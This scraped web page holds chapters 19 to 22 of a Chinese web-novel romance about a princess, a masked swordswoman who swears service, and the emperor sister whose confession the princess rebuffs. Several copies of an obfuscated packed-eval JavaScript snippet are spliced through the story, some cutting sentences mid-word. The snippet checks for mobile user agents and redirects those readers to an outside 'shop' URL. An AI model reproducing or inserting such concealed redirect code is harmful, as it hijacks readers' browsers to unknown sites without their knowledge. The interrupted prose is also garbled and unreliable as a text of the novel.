l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171348|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脖颈往下,滑过那几点红痕,有意无意挑开了江迎瓷的衣襟。 谢凌闲嗓音低哑,“殿下明知道我的心意,我怎么舍得让你去死?” 胸口凉飕飕的,眼前这一幕让江迎瓷想起了自己刚才看的话本子。 谢凌闲该不会也是从那上面学的吧? “放肆。” 江迎瓷不轻不重地呵斥道。 谢凌闲也是头一次做这种事。 江迎瓷看她的眼神,她眼尾隐约弥漫的酡红,和微微抿起的浅色薄唇,伴随着四周缠绵的撩人香气,尽数落入了谢凌闲的眼中。 谢凌闲向来很稳的手不由得轻颤了一下。 江迎瓷只感觉有什么东西划过了自己的皮肤,随后胸口处的凉意越发明显。 竟是谢舒遥用匕首割破了她里衣的带子。 妃色肚兜映入眼帘,上面绣着的桃花图样在烛光下反射着粼粼的金光,衬得江迎瓷的皮肤更加白皙细腻,连左边胸口上那一颗小小的红痣都清晰可见。 谢凌闲:…… 她真不是故意的。 江迎瓷不躲不避,她没有要合上衣襟的意思,但看向谢凌闲的目光却更冷了,“本宫不会放过你的。” 谢凌闲知道她没有开玩笑。 江迎瓷此刻定是恨不得将自己碎尸万段。 怎么说呢。 江迎瓷的表情极具气势,但凌乱的衣衫却又让这份凛然中多了些说不清道不明的气息。 谢凌闲知道不应该,脑海里却控制不住地想起了前几日的场景。 江迎瓷被谢舒遥捏着下巴,连眉头都因为深吻而蹙了起来,却又被迫只能仰着脖子承受。 她只是挑开江迎瓷的衣襟而已,江迎瓷就气得想杀了她。 如果江迎瓷知道谢舒遥还对她做了那样的事,那她会也想杀了谢舒遥吗? 真不公平。 她是阿绾的时候,连江迎瓷的衣角都碰不到,也只有凭借着这样的法子,才能短暂靠近江迎瓷。 谢舒遥却能被江迎瓷主动抱进怀里,当时要不是有她在,或许江迎瓷真会直接宠幸谢舒遥也不一定。 谢凌闲没有挪开刀尖。 她望进江迎瓷的眼底,眸中的光芒明明灭灭。 “那殿下准备怎么不放过我?” 19.长公主的双面替身情人(十九) 江迎瓷一时被她给问住了。 她好像确实拿谢凌闲没有办法。 但狠话是必须要放的。 “你最好祈祷。” 江迎瓷打量着眼前人的眉眼,像是想要透过面纱记住她的长相。 “不要落到本宫的手里。” “那得看殿下的本事了。” 不知道是不是屋内的熏香太闷,谢凌闲莫名觉得有些口干舌燥。 “如果就凭外面那些废物,殿下这辈子都别想抓到我。” 她意有所指。 长公主精心培养的暗卫,还不如她这个“采花贼”的功夫好。 与其把希望寄托在那些废物上,还不如多看看她。 谢凌闲如此想着,也如实说了出来。 “你想为本宫效力?”江迎瓷有些意外,但很快就明白了谢凌闲的打算。 或许是这几日的相处让主角攻受意识到,后宅女子对她的影响终究有限,要想达成她们的目的,还需要有人同她们里应外合才行。 谢凌闲想要争取的,就是她的忠实下属这一角色。 谢凌闲不知怎么的还有些紧张,“殿下以为如何?” “这就是你求人的态度?”江迎瓷瞥了眼抵在自己心口的匕首。 谢凌闲:“我要是不这样,殿下恐怕根本不会听我说这些话。” 她对自己倒是有很清晰的认知。 江迎瓷语带讽刺,“本宫身边容不下品行不端之人。” 大概不是头一次被江迎瓷骂了,谢凌闲竟然有些习以为常。 “殿下不了解我,又怎么知晓我的品行如何?” 这不是显而易见吗? 正人君子可不会做这种事情。 江迎瓷没说话,但她的眼神足以说明一切。 谢凌闲也知道自己这事儿做得不光彩,但除此之外,她还有第二种办法接近江迎瓷吗? “殿下真的不能给我一个机会吗?” 江迎瓷微微皱起眉头,她没有立马回答,而是盯着谢凌闲看了好一会儿,才冷声道:“你到底想做什么?” 谢凌闲:…… 她刚才说了那么多话,感情江迎瓷一句都没听进去。 谢凌闲默不作声地垂下眼睫,她的目光扫过江迎瓷敞开的衣襟,那片玉一样温润白腻的胸口正随着呼吸起伏着。 再往下,还能隐约看见肚兜包裹不住的侧腰肌肤,曲线流畅曼妙。 长公主殿下似乎并不觉得自己此刻的处境有多危险。 都这样了,她还问她想做什么。 难道她表演的采花贼这么不像吗? 谢凌闲反问江迎瓷:“殿下觉得呢?” 江迎瓷怎么知道她在想什么? 她还以为谢凌闲是想捅她一刀呢,谁知这人拿着匕首,竟然只是划破了她的衣裳。 难道谢凌闲是企图用这种方法让她感到难堪? 江迎瓷内心毫无波动,“本宫没兴趣猜,本宫只知道……” 她的眼神似乎变了一瞬。 谢凌闲反应极快,她收回匕首,同时扭腰躲开了从身后而来的袭击。 “你、完、了。” 江迎瓷慢吞吞地说出了后半句话。 谢凌闲面色不变,她飞快瞥了一眼,见匕首并未伤到江迎瓷,这才转头看向自己身后。 是那个叫做森语的暗卫。 她出手狠辣招招致命,完全不给谢凌闲留活路。 谢凌闲一边躲闪,一边用余光观察江迎瓷。 那人正低头整理衣裳。 看来长公主殿下也不是一点儿防备都没有。 方才她分明没有见到江迎瓷拽动绳索。 谢凌闲不欲恋战,她今夜前来只是为了向江迎瓷表明她的决心,目的已经达到了。 谢凌闲扔出飞针,趁着森语躲避的功夫,纵身跃出窗外。 此举正合森语的意。 在屋内她总是畏手畏脚的,担心误伤到殿下。 森语赶紧施展轻功朝着谢凌闲追了出去。 等两人都走后,茗月才冲了进来。 “殿下!” 江迎瓷已经合拢了衣裳,没让自己在下属面前丢脸。 “没事。” 茗月满眼担忧,见江迎瓷确实没什么大碍,这才勉强放下心来。 “还是上次的贼人吗?” 她望向森语追出去的方向。 也不知森语是否能将人给抓住。 “嗯。” 江迎瓷知道森语一定会失败的,谢凌闲毕竟是主角,哪有那么容易掉马? 果然,一刻钟后,森语面色沉闷地回到了扶风院。 “属下办事不利,把人给跟丢了,请殿下责罚。” 茗月想说什么,被江迎瓷抬手制止了。 “那人武功在你之前,你抓不到她很正常。” 茗月愣了愣。 听殿下的意思,她似乎已经知道那人是谁了? 江迎瓷没有细说,“再调些人过来守着。” “她还会再来的。” …… 谢凌闲费了些功夫甩掉森语。 刚回到房间,药效就消失了,谢凌闲踉跄了一下,险些摔倒。 “回来了。” 耳边传来谢舒遥幽幽的声音。 谢凌闲抬起头,就看见谢舒遥正坐在几步远外看着自己,她的手边还放着茶杯,显然等了有一会儿了。 “你有事?” 谢凌闲脱掉夜行衣,抬手时无意中露出了一截精瘦的腰腹,上面清晰可见一条细长红痕。 “你受伤了?”谢舒遥拧眉。 谢凌闲头也不回,“小伤。” 森语内力武功是不如她,但也不可小觑,加上谢凌闲有些心急,这才不慎被森语扔出的飞镖划伤了侧腰。 谢舒遥面色难看,“这么明显的伤,长公主又不是瞎子。” 谢凌闲整理衣袖的动作停了一瞬。 谢舒遥多虑了。 江迎瓷压根就不让她近身伺候,更别提脱她衣服了。 但这话谢凌闲绝不可能告诉谢舒遥。 她跟谢舒遥之间没有太深的矛盾,硬要说的话,谢凌闲只是看不上谢舒遥那副高人一等的态度。 从前在大燕,谢舒遥是比她品级更高。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178458|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但这里不是大燕。 谢舒遥也用不着再摆什么公主架子,好像全天下只有她是聪明人,自己就愚不可及了一样。 她再笨,不也一样用自己的方式在长公主心里留下印象了么? 况且谢舒遥那么聪明,怎么还是失宠了? 谢凌闲瞥了眼谢舒遥,没把这话说出来。 她跟谢舒遥是一条船上的蚂蚱,谢舒遥失宠对她来说,其实也没什么太大的好处。 毕竟江迎瓷又不会因此对她信任有加。 “她不会发现的。”谢凌闲只含糊回了这样一句。 谢舒遥还是皱着眉头,但她没再继续问,而是换了个话题,“长公主近来心情如何?” “尚可。” 其实单看江迎瓷的表现,谢凌闲实在看不出来她对谢舒遥究竟有多喜爱。 谢舒遥病得都快要死了,江迎瓷还有心思听曲看话本子。 怎么看她不像是在意谢舒遥死活的样子。 可是偶尔她看自己的眼神…… 谢凌闲表情淡淡,“你耐心等着吧。” 上次她被罚的时候,谢舒遥也是这样对她说的,谢凌闲也算把这句话还给她了。 谢舒遥噎了一下。 “你就不能替我在长公主面前说说好话吗?” 她怎么说? 谢凌闲冷不丁想起了刚才在帷帐间,她用匕首抵着江迎瓷胸口的画面。 她唯一能跟江迎瓷说上话的,似乎也只剩下那时候了。 谢凌闲摇摇头,强行把脑海里旖旎暧昧的场景给压了下去,随口将江迎瓷用来讽刺她的话抛给了谢舒遥。 “这是你求人的态度?” 谢舒遥面色一僵,“谢凌闲!” 她能来找谢凌闲,已经算是抛下脸面了,谢凌闲还说这种话。 谢舒遥的神色肉眼可见的难看。 谢凌闲回过神来,她怎么开始学江迎瓷了? “知道了。” 她会替谢舒遥求情的,但前提得是她有机会才行。 …… 机会并没有到来。 从那晚过后,江迎瓷也不知是倦了还是怎样,竟然一连几日都没有召见谢凌闲。 之前虽然说不上话,却还能在江迎瓷面前露露脸,现在连露脸的机会都没有了。 扶风院又加强了防卫,谢凌闲也不好再在这节骨眼上去夜探江迎瓷的香闺。 她只能等。 等着等着,不仅是谢舒遥,就连谢凌闲的心底也生出了几分焦躁。 难道真被谢舒遥说中了,她那夜哪里露了马脚,被江迎瓷给察觉到了? 可飘絮馆中依旧平静,并没有前来监视调查她们的人。 江迎瓷到底在做什么? 难道她这么快就对她们腻了? 两人无从得知。 这一等就是五日,直到十四那日,谢凌闲终于坐不住了。 “明日是十五,按照旧例,长公主会进宫向皇帝请安。” 谢凌闲换上夜行衣,将自己裹得严严实实。 “今夜就是最好的机会。” 她打算再去见一次江迎瓷。 20.长公主的双面替身情人(二十) 江迎瓷对谢凌闲的到来并不意外。 故意冷落了主角攻受几日,她料定谢凌闲一定会按捺不住,晚上来找她。 夜已经深了,江迎瓷坐在榻上喝茶,她的面前摆放着棋盘,棋局已经下了一半,黑子与白子战况激烈,各不相让。 “殿下。” 茗月竖起耳朵听着屋外箭矢破空的声音,“奴婢担心……” “慌什么。” 江迎瓷缓慢落下一子,“死不了。” 茗月怎么可能不担心? 要她说,即便殿下真想抓住那人,也不必拿自己当诱饵,万一出了什么意外,谁也担不起责任。 可殿下心意已决,茗月也只能听从吩咐。 屋外的打斗越发激烈了。 虽说扶风院内外都有侍卫把守,其中不乏武功高强之人,但那贼人可是连森语都亲口承认过自己不如她的。 茗月恨不能把自己分成两半。 这样才能一边守着殿下,一边去亲眼瞧瞧情况如何了。 她正想着,就听房门砰的一声被人从外面撞开了。 茗月赶紧挪步挡在江迎瓷面前,在看清来人是谁的那一瞬间,她的瞳孔猛地缩了缩。 谢凌闲喘着粗气,她仍是一身黑衣装扮,长发高束在脑后,手里提着一把不知从哪儿抢过来的长剑,剑尖上还沾着血迹。 迎面对上茗月警惕的眼神,谢凌闲只随意瞥了一眼,就毫不在意地挪开了目光。 她的视线落在了江迎瓷身上。 “长公主殿下。” 谢凌闲挺直了腰背,“别来无恙?” 江迎瓷闻言这才侧眸朝谢凌闲望了过去,对方的手臂上破了条口子,似乎是受了伤。 那么多侍卫围剿,层层把守之下,她竟然也只是受了这点儿轻伤。 江迎瓷对谢凌闲的武力值又有了新的认知。 在谢凌闲身后,森语紧追而来。 她看起来比谢凌闲要狼狈些,也受了些伤,但面色还算镇定,应该没什么大碍。 江迎瓷特意提前吩咐过了,不必拿命去拼。 屋内几人沉默对峙着,相比之下反倒是江迎瓷最淡定。 “茗月。” 江迎瓷摆摆手,“你带森语下去包扎吧。” “殿下!” 她跟森语都走了,那屋里岂不是只剩下了这贼人和殿下? 谢凌闲闻言也有些惊讶。 江迎瓷今晚此举,她还以为她是非杀自己不可呢,没想到她竟然会把人都叫走。 “去吧。” 江迎瓷做好决定的事,向来没人能更改。 茗月即便再不赞同,也只能听命。 房门打开又合上,谢凌闲听得出来两人并未真的离开,而是就守在屋外。 不过也不重要了。 谢凌闲晃了晃手中的长剑,剑身上的血迹已经有了干涸的趋势,“殿下是当真不担心我会对您不利?” “你会吗?” 江迎瓷不答反问。 谢凌闲干脆地将长剑扔开,“不会。” 江迎瓷又低头喝了口茶,好一会儿之后才淡声道:“你的武功,的确出乎本宫的意料。” 所以今夜她只是想试试自己的深浅,并没有真正想要杀自己的打算。 谢凌闲了然。 但上次离开时,江迎瓷眼底的杀意却也并不像假的,谢凌闲相信那时她是真存了要自己命的念头。 是什么让长公主改变了主意? 谢凌闲隐约意识到,江迎瓷接下来要说的话,或许才是她态度忽然转变的关键。 “不过。”江迎瓷投来轻飘飘的一瞥,“本宫很好奇。” “你既有这样的本事,大有可施展之处,为何非得来寻本宫?” 谢凌闲早就预料到她会这样问。 “天底下若论身份尊贵,又有谁能比得过殿下?” 这话说得着实有些大逆不道。 毕竟江迎瓷就算再尊贵也只是长公主,头上还有个小皇帝压着呢。 江迎瓷暗暗咋舌,主角攻这么快就开始挑拨离间了? 她意味不明地哼了声,神色也冷淡了许多。 “放肆。” 谢凌闲没被吓到,她径直单膝跪了下来,“我所言句句是肺腑之言。” “我想为殿下效力,除开钱财权势之外。”谢凌闲顿了顿,语气变得有些干涩,“还因为我心悦殿下。” 江迎瓷:…… 都这时候了,主角攻还不忘表演自己的人设,这份忍耐力真是感天动地。 “你心悦本宫?” 江迎瓷撑着额头,居高临下审视着谢凌闲,“本宫与你不过只见了三次面。” 谢凌闲从哪儿来的喜欢? 谢凌闲仰头同江迎瓷对视着,“是殿下只见过我三次。” “可我早已心悦殿下良久。” 第一句话说出口后,后面的似乎也变得越发自然流畅起来,谢凌闲眼也不眨,“只是我从前不敢期盼能与殿下有所交集。” 江迎瓷知道谢凌闲在瞎扯,但还是顺着谢凌闲的话问道:“那你现在怎么就敢了?” 谢凌闲转头看向屋外,刚才那么多侍卫都没能拦住她,她的武艺就是她最大的底气。 江迎瓷懂了。 她稍垂长睫,“本宫身边,从不留无用之人。” 谢凌闲没说话,静等着江迎瓷的下一步吩咐。 江迎瓷站起身来,她施施然走向书桌,华丽裙摆在谢凌闲的眼前晃悠而过,让谢凌闲想起了她初到长公主府的那一日,似乎也是同此刻一样的光景。 江迎瓷在上,而她跪在下方。 区别只在于,那时江迎瓷的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184237|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都被谢舒遥给吸引走了。 可现在她的眼前只有自己,她也只能看着自己。 谢凌闲注视着江迎瓷走到桌后,对方提起笔,在纸上写了些什么。 很快,江迎瓷又回来了。 她将墨迹未干的信纸递给谢凌闲。 谢凌闲接过来一看,是几个人名和一处地址。 “这几人手里有一个账本。” 江迎瓷的声音很轻,平静而不容拒绝。 “杀了他们,拿回账本。” 这是江迎瓷对她的第二个考验。 原来这才是她留自己一命的真相。 谢凌闲将信纸收进怀里,“殿下放心。” “属下定不辱命。” 江迎瓷深深看了谢凌闲一眼。 机会她已经抛出去了,能不能抓住就看谢凌闲自己了。 “本宫等你的好消息。” …… 十五进宫是长公主与皇帝之间心照不宣的习俗,一大早上宫里就开始忙了起来。 江寻芷一连换了好几件衣裳,都觉得不太满意。 “绣织局前几日不是还送了批春衣过来?拿来给朕再瞧瞧。” 贴身婢女擦了擦额头上的汗珠,“是。” 其实她想说陛下已经足够龙章凤姿,俊美秀丽了,天底下再找不出第二个像陛下这般出众的人物,长公主必定也会满意的。 可江寻芷皱着眉头,浑身凛冽气势压得旁人根本不敢开口,众人只能陪着她折腾。 又换了两套,听着太监来报,说长公主的车驾已经进了正门,正往章华宫而来,江寻芷也来不及再换了。 “御花园那边都准备好了吗?” “回陛下,都已准备妥当了。” 江寻芷最后对着镜子照了照,确认自己依旧容光焕发,这才放下心来大步往外走去。 江迎瓷此刻正坐在马车里。 昨夜睡得不是很安稳,她有些困倦,忍不住掩唇打了个哈欠。 交给谢凌闲的那个任务不算简单,不过以主角攻的本事,江迎瓷相信她肯定能做到。 说起来,这几日的疏远冷落也足够了,回去就让谢舒遥“复宠”吧。 这样以后她跟主角攻就能一个在后宅吹枕边风,一个在前朝替她卖力了。 路她都帮主角攻受铺好了。 做反派女配做到她这份上的,应该也是独一份吧。 “殿下。” 侍卫的声音打断了江迎瓷的思绪。 “咱们到了。” 茗月掀开车帘,江迎瓷弯腰迈了出去,入眼却不是她以为的寝宫。 这应该是后花园。 亭台楼阁假山异石,清澈池水中锦鲤攒动,风吹得树影婆娑,在那层层叠叠的花团之中,江寻芷正笑颜明媚地望着她。 “阿姐,你来了。” 21.长公主的双面替身情人(二十一) 她今日打扮得格外奢华耀眼,比四周锦簇的鲜花更加引人注目。 江迎瓷脚步微顿,她低头一瞥,自己今日戴的玉佩,与江寻芷腰间的玉佩似乎是一模一样的款式。 “阿姐。” 见她默然不语,江寻芷主动抬脚朝她走了过来。 “本想让人在章华宫摆膳的,但瞧着外边儿天色不错,我就让人挪到后苑来了。” 她说着,在离江迎瓷两步远的地方站定,冲江迎瓷伸出了手,“走吧,阿姐。” 宫女侍从不知何时全都离远了,将这一方空间留给了难得见面的姐弟俩。 江迎瓷犹豫着要不要将手搭上去。 江寻芷上次那奇怪的态度给她留下了一点儿心理阴影,江迎瓷本能地不想和她太过亲近。 但若是拒绝,难保江寻芷不会又生气。 大概是她思考的时间太久,江寻芷脸上的笑容慢慢落了下去。 但今天难得和阿姐独处,她也不想破坏了气氛,于是干脆将手一转,以手背向上的姿势对着江迎瓷。 “怎么了,莫非是长公主殿下嫌弃奴才伺候的不够好?” 江迎瓷怔了下,随后语气颇有些无奈,“陛下。” 江寻芷还玩上角色扮演了。 不过她也算是给了江迎瓷台阶。 江迎瓷顺势将手轻轻搭在了江寻芷的手背上,顺着她的话开玩笑道:“走吧。” 江寻芷忍住了狂跳的心脏,她竭力想保持镇定,注意力却仍是不可避免地被手腕上的触感给吸引走了。 阿姐的手还是那样暖,落在手背上的力道很轻,却仍让她无法忽视。 要是能再近一点,牵着阿姐的手就好了。 就像从前阿姐牵着她那样。 阿姐对她到底是生疏了。 江寻芷带着江迎瓷来到湖边亭中。 桌上早已备好膳食美酒,旁边的木架上还摆放着一把琵琶,暖风徐来,江迎瓷望着湖里悠然游过的锦鲤,惬意地眯了眯眼眸。 她适时收回了自己的手。 江寻芷掩下心头的失落,也跟着将手臂放了下去,“阿姐快坐。” 两人面对面坐下,江寻芷主动替江迎瓷倒了杯酒。 “阿姐的风寒好了吗?” “嗯。” 江迎瓷接过酒杯,放在鼻尖嗅了嗅,一股浓郁的酒香弥漫开来,像是某种花的香气。 “阿姐尝尝。” 江寻芷满眼期待地望着她。 江迎瓷浅抿了一口,果然很香,醇厚但不辣喉,回味还带着点儿甘甜。 “好酒。” “阿姐喜欢就好。”江寻芷松了口气。 她的态度这样郑重,让江迎瓷怀疑这酒该不会是她亲自酿的吧? 应该不是,日理万机的小皇帝哪有这些闲工夫。 江迎瓷摇摇头,她的目光一一划过身侧的景色,最后又回到了江寻芷身上。 江寻芷对她的忠心值还是100,并未因她这两次冷淡的态度而有所改变。 江迎瓷实在想不到后面两人要怎样决裂。 江寻芷察觉到她的视线,心头不禁紧张起来,阿姐为何要这样看着她? “阿姐。” 江寻芷给江迎瓷夹了块糕点,“你尝尝这个。” 江迎瓷低头咬了一口,“不错。” 语气还是如往日一般,看不出多少不对劲来。 江寻芷暗自思索着,方才她为何会觉得阿姐看她的眼神里充满了探究? 应该是错觉吧。 两人一边吃菜一边喝酒,聊些近日发生的有趣的事,气氛倒也算融洽。 喝得兴起,江寻芷干脆起身走到一旁抱起那把琵琶,指尖一挑,悠扬悦耳的乐声便自然地流泄了出来。 江迎瓷没动,她一手撑着额头,另一只手端着酒杯,就这样姿态闲散地注视着江寻芷。 她的面颊上带着醉意红晕,唇边隐约能看见一点儿柔和的笑意。 江寻芷的脸也不争气地红了起来。 这样的江迎瓷让她仿佛又回到了当初和阿姐相依为命的时候,那时阿姐的眼里还只有她。 江寻芷舍不得挪开眼,她格外珍惜这来之不易的温馨和放松,还有阿姐此刻模糊难辨的温柔。 一曲终了,江寻芷迫不及待问道:“阿姐觉得如何?” “甚好。”江迎瓷想了想,又添了一句,“我很喜欢。” 这句透着敷衍的夸奖却让江寻芷笑弯了眼,“阿姐喜欢就好。” 阿姐喜欢她弹的曲子,四舍五入就是喜欢她。 江寻芷心如小鹿乱撞,或许是此刻江迎瓷的目光太过纵容,让她忍不住生出了进一步试探的念头。 “那和那个瘦马弹奏的相比呢,哪个更得阿姐的心?” 她指的是谢舒遥。 江寻芷只见过谢舒遥一次,但她却知道江迎瓷喜欢听谢舒遥弹琴,这句话就跟直接告诉江迎瓷,长公主府中有她的眼线没什么区别。 江迎瓷倒没因为这个不高兴,毕竟宫里也有她的人,只是听江寻芷这样问,江迎瓷脑海中倏然灵光一闪。 她终于知道她和江寻芷之间的矛盾点在哪儿了。 “你是皇帝,她只是一个普通后宅女子,你们之间没有可比性。” 不等江寻芷细想江迎瓷这句话蕴含的深意,江迎瓷紧接着又抛出了下一个重锤。 “不过陛下这话,倒是给我提了个醒。” 她眼底的醉意淡了几分,取而代之的是认真和严肃,“陛下年纪也不小了。” “听说前两日还有好几位大臣共同上书,请求陛下选秀。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188634|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “陛下也该……” “阿姐。” 江寻芷打断她。 她脸上的笑容因为江迎瓷的这几句话彻底消失不见了,眼底的情绪沉沉的,像化不开的浓墨。 “你醉了。” “我没醉。” 江迎瓷打定了主意,她故意装作没看出江寻芷的抗拒和不悦,“陛下身边也该有个知冷知热的人。” 省得天天盯着姐姐的后院。 江寻芷的眼眶红了起来,表情倔强中夹杂着委屈,“阿姐明知道……我这样要怎么选秀?” 江迎瓷思索两秒,“此事不难,陛下只管选自己喜欢的,到时封好口也就罢了。” 江寻芷见她竟然真的已经开始考虑起来,显然并非是在开玩笑,心里不禁更加愤怒委屈,阿姐怎么能说这种话? 她喜欢的? 她喜欢的人就远在天边近在眼前,可她能选吗? 江迎瓷还没说完,“况且,就算不为别的。” “陛下也要考虑继承人的事。” 辛苦打下来的江山,总不能便宜了外人。 “阿姐!” 江寻芷气狠了,开始口不择言,“你明知道……” 剩下的话在江迎瓷逐渐冷淡的眼神中湮灭。 江寻芷冷静了一瞬,但随后涌上来的是更加强烈的不甘和气愤。 她不明白,江迎瓷为什么非得要激怒自己。 她不信阿姐看不出来她不愿意,可阿姐还是残忍地说出这些话,学着那些老头子的口吻,用长辈的身份劝她,逼迫她。 “阿姐。” 江寻芷双眼通红,“你到底把我当什么?” 江迎瓷刚才开口的时候就想过会有这样的情况,江寻芷的质问也算是隐约挑破了两人之间的那层窗户纸。 江迎瓷在心里叹了口气,谢舒遥和谢凌闲也就罢了,江寻芷可是长公主的亲妹妹,骨肉血亲。 江迎瓷就算再心疼她,也不能接受这样的事情。 她必须对江寻芷狠心一些。 “阿芷。” 江迎瓷换了个称呼。 但江寻芷却并不觉得高兴,心口反而更凉了些。 这说明阿姐接下来要说的话,一定会让她更加痛苦失望,所以阿姐才这样哄着自己。 果然下一秒,她就听江迎瓷低声道: “你永远是我的妹妹。” 江寻芷死死掐住了自己的掌心,妹妹? 这个身份让她同江迎瓷有着永远斩不断的联系,却也像隔在两人之间的天堑,哪怕她拼尽全力也无法跨越。 “可我不想……” 做你的妹妹。 江寻芷的眼角溢出了泪珠,她哭得没有声音,身体却随着落泪而不住颤抖。 “你明明知道的。” 22.长公主的双面替身情人(二十二) 江迎瓷不想知道。 “陛下。”她又换回了那个疏离的称呼,“无论如何,我都是你的长姐,这一点是永远也不会改变的。” “我没想改变。” 江寻芷扔开手里的琵琶,她往前迈了一步,双眼紧盯着江迎瓷的脸,“阿姐,我只是想和你更亲近些。” 她跟阿姐才应该是彼此在这个世界上最亲密的人,不是吗? 她从没想过要破坏两人的姐妹关系。 她只是想在这层关系之上,再增添一个新的身份而已。 她不止想做阿姐的妹妹,还想做阿姐的知心人,想成为阿姐心底最重要的存在。 她想占据阿姐的全部。 “阿姐,就当是我求你。” 江寻芷头一次这样低声下气地祈求别人。 见江迎瓷沉默着不开口,她竟直接双腿一弯跪在了江迎瓷面前,“阿姐,你就当是我大逆不道吧。” “可我真的无法接受,在你心里,还有人比我更重要。” 说着说着,江寻芷的嗓音也变得沙哑哽咽起来,她的脸上满是泪痕,仰头固执地看着江迎瓷,“要是阿姐不高兴,就像从前那样打我吧。” 幸好周围没有旁人,要是让外人瞧见这一幕,还不知道会传成什么样。 江迎瓷也不好再坐着了,“你先起来。” “我不。” 江寻芷不仅没有起来,还就着这个姿势又往前挪了挪,“阿姐,自从你搬到长公主府后,你我的关系就越发疏远了。” 她好像也豁出去了,竟直接挑明了两人之间存在的问题。 “是有人在阿姐面前说了什么吗?” 江寻芷咬了咬唇,“还是阿姐当真觉得我很恶心?” 江迎瓷没想到会把人刺激成这样,还是说剧情的力量真的有这么强大? 明明从前长公主身边也不乏受宠之人,但江寻芷从未像这次一样慌到自乱阵脚,不管不顾。 江迎瓷还以为她会一直把这些话藏在心里,只用委婉的手段来试探自己。 “阿芷。”江迎瓷揉了揉太阳穴,“我怎么会觉得你恶心?” 江寻芷又没做什么伤害她的事,况且江寻芷变成现在这样,长公主这个做姐姐的也有不可推卸的责任。 “只是阿芷,我们都不再是从前那个不懂事的孩子了。” 江迎瓷犹豫了片刻,还是试探着伸出手,掌心慢慢落在了江寻芷的头顶,“你是大魏的天子,是深受朝臣子民信赖仰仗的陛下,你有自己必须要承担的责任。” “我是你的阿姐,我不能眼睁睁看着你犯错,你明白吗?” 江寻芷不想明白。 她感受着江迎瓷抚摸自己头顶的温柔力道,眼泪流得更厉害了,“如果大魏皇帝的身份会让我跟阿姐变得越来越陌生,那我宁愿……” “陛下。” 江迎瓷阻止了她接下来想说的话。 她拧着眉,“你不能再任性了。” 嘴上如此说,江迎瓷心里却忍不住叹了口气。 果然,江寻芷真正在意的并非权势地位,所以她对自己的忠心值才会是100,要想激化两人之间的矛盾,只能从感情入手。 可看着跪在自己面前,双眼猩红满脸委屈的少女,江迎瓷想说的话又好像堵在了喉咙里,说不出口了。 最后她只得委婉道:“你不必再同旁人计较些什么,你是我的妹妹,和她们永远是不一样的。” 说来说去,阿姐不还是不能接受她吗? 江寻芷早就知道会有这样的结果,要不是阿姐的态度太坚决,她之前也不会一直不敢表现出自己的心意。 今日也是被刺激得狠了。 阿姐竟然劝她选秀,还说什么继承人,她是要让自己跟别人生孩子吗? 江寻芷听见这话的时候,气得眼前都黑了片刻,有那么一瞬间,她甚至想不管不顾亲上去,这样阿姐就不能再说一些她不想听的话了。 最后理智还是勉强拉住了她。 要这么做了,阿姐才是会真的生气。 “阿姐,我没有任性。” 江寻芷语气坚定,哪怕江迎瓷的脸色因此沉了下来,她也还是继续说道:“我说的都是心里话。” 她已经忍了很久了。 “如果阿姐真的心疼我,就别对我那么残忍,好不好?” 江寻芷鼻头通红,长睫上还带着点点泪珠,“别人能做到的,阿芷也一样能做到。” 这怎么能一样? 江迎瓷收回了手,“今日的话,我就当从没听到过。” “但我方才说的,还请陛下仔细考虑一下。” “阿姐!” 江寻芷想要抓住江迎瓷的手,江迎瓷却先一步站起了身来,“府里还有事,我就不叨扰陛下了。” 江寻芷不敢相信她当真那么狠心,说走就走了,可那道令她日思夜想的身影的确越走越远,直至彻底消失在她的视野里。 怎么会这样? 江寻芷想不明白,明明半个时辰前她还满心欢喜,怎么眨眼间事情就变成这样了? “陛下……” 心腹女官战战兢兢走上前来,她用力低着头,不敢看江寻芷此刻狼狈的模样,“长公主她……” “朕知道。” 江寻芷伤心愤怒到极点,反而冷静了下来,她撑着石桌站起来,看着桌上那杯被江迎瓷喝了一半的酒,神色变得格外阴沉,“去查,是谁在阿姐面前说了什么?” 江迎瓷不会莫名其妙提起选秀的事,到底是谁,在刻意挑拨她跟阿姐的关系? …… 与江寻芷算是不欢而散。 江迎瓷的脸色也不大好看,回府的路上一直沉着脸。 032号不理解,【您干嘛要故意激怒小皇帝?】 要不是宿主刻意找事,这俩人根本就吵不起来。 江迎瓷有些头疼,“我不这样,之后我要怎么跟小皇帝冷战?” 没有争吵,她就不会跟江寻芷决裂,那主角攻受也就没有办法趁机再挑起她们之间的矛盾,后面的剧情要怎么展开? 